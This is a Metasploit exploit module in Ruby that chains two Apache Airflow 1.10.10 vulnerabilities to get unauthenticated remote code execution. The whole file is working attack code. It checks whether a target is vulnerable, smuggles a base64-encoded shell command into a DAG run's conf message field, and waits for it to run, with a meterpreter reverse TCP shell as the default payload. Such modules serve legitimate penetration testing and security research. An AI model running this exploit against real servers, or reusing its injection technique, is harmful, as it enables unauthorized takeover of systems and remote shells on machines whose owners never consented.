##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability
          by combining two critical vulnerabilities in Apache Airflow 1.10.10.
          The first, CVE-2020-11978, is an authenticated command injection vulnerability
          found in one of Airflow's example DAGs, "example_trigger_target_dag", which
          allows any authenticated user to run arbitrary OS commands as the user
          running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default
          setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's
          Experimental REST API to perform malicious actions such as creating the
          vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation
          and command injection, leading to unauthenticated remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xuxiang',            # Original discovery and CVE submission
          'Pepe Berba',         # ExploitDB author
          'Ismail E. Dawoodjee' # Metasploit module author
        ],
        'References' => [
          [ 'EDB', '49927' ],
          [ 'CVE', '2020-11978' ],
          [ 'CVE', '2020-13927' ],
          [ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],
          [ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],
          [ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],
        ],
        'Platform' => ['linux', 'unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-07-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),
        OptString.new('TARGETURI', [ true, 'Base path', '/' ]),
        OptString.new('DAG_PATH', [
          true,
          'Path to vulnerable example DAG',
          '/api/experimental/dags/example_trigger_target_dag'
        ]),
        OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])
      ]
    )
  end

  def check
    uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')
    vprint_status("Checking target web server for a response at: #{full_uri(uri)}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.code == 200 &&
           res.body.downcase.include?('admin') &&
           res.body.downcase.include?('_csrf_token') &&
           res.body.downcase.include?('sign in to airflow')
      return CheckCode::Unknown('Target is not running Apache Airflow.')
    end

    vprint_good('Target is running Apache Airflow.')

    vprint_status('Checking Apache Airflow version...')
    version_number = res.body.to_s.scan(
      %r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}
    ).flatten.first

    unless version_number
      return CheckCode::Detected('Apache Airflow version cannot be determined.')
    end

    unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')
      return CheckCode::Safe
    end

    vprint_status(
      "Target is running Apache Airflow Version #{version_number}. " \
      'Performing additional checks for exploitability...'
    )

    check_api
    check_task
    check_unpaused

    return CheckCode::Appears
  end

  def check_api
    uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')
    vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    unless res && res.code == 200
      return CheckCode::Safe('Could not access the Airflow Experimental REST API.')
    end

    vprint_good('Airflow Experimental REST API is accessible.')
  end

  def check_task
    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')
    vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    unless res && res.code == 200
      return CheckCode::Safe(
        'Could not find "example_trigger_target_dag.bash_task". ' \
        'Target is not vulnerable to CVE-2020-11978.'
      )
    end

    if res.get_json_document['env'].include?('dag_run')
      return CheckCode::Safe(
        'The "example_trigger_target_dag.bash_task" is patched. ' \
        'Target is not vulnerable to CVE-2020-11978.'
      )
    end

    vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')
  end

  def check_unpaused
    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')
    vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    unless res && res.code == 200
      return CheckCode::Safe(
        'Could not unpause "example_trigger_target_dag.bash_task". ' \
        'Example DAGs were not loaded.'
      )
    end

    vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')
  end

  def create_dag(cmd)
    cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"
    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')
    vprint_status('Creating a new vulnerable DAG...')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'ctype' => 'application/json',
      'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })
    })

    unless res && res.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to create DAG.')
    end

    print_good("Successfully created DAG: #{res.get_json_document['message']}")
    return res.get_json_document['execution_date']
  end

  def await_execution(execution_date)
    uri = normalize_uri(
      target_uri.path,
      datastore['DAG_PATH'],
      'dag_runs', execution_date, 'tasks', 'bash_task'
    )
    print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')
    vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')

    i = 0
    loop do
      i += 1
      sleep(10)
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => uri
      })

      unless res && res.code == 200
        fail_with(Failure::Unknown, 'Bash task state cannot be determined.')
      end

      state = res.get_json_document['state']
      if state == 'queued'
        print_status('Bash task is queued...')
      elsif state == 'running'
        print_good('Bash task is running. Expect a session if executed successfully.')
        break
      elsif state == 'success'
        print_good('Successfully ran Bash task. Expect a session soon.')
        break
      elsif state == 'None'
        print_warning('Bash task is not yet queued...')
      elsif state == 'scheduled'
        print_status('Bash task is scheduled...')
      else
        print_status("Bash task state: #{state}.")
        break
      end
      # stop loop when timeout
      next unless datastore['TIMEOUT'] <= 10 * i

      fail_with(Failure::TimeoutExpired,
                'Bash task did not run within the specified time ' \
                "- #{datastore['TIMEOUT']} seconds.")
    end
  end

  def exploit
    print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")
    execution_date = create_dag(payload.encoded)
    await_execution(execution_date)
  end
end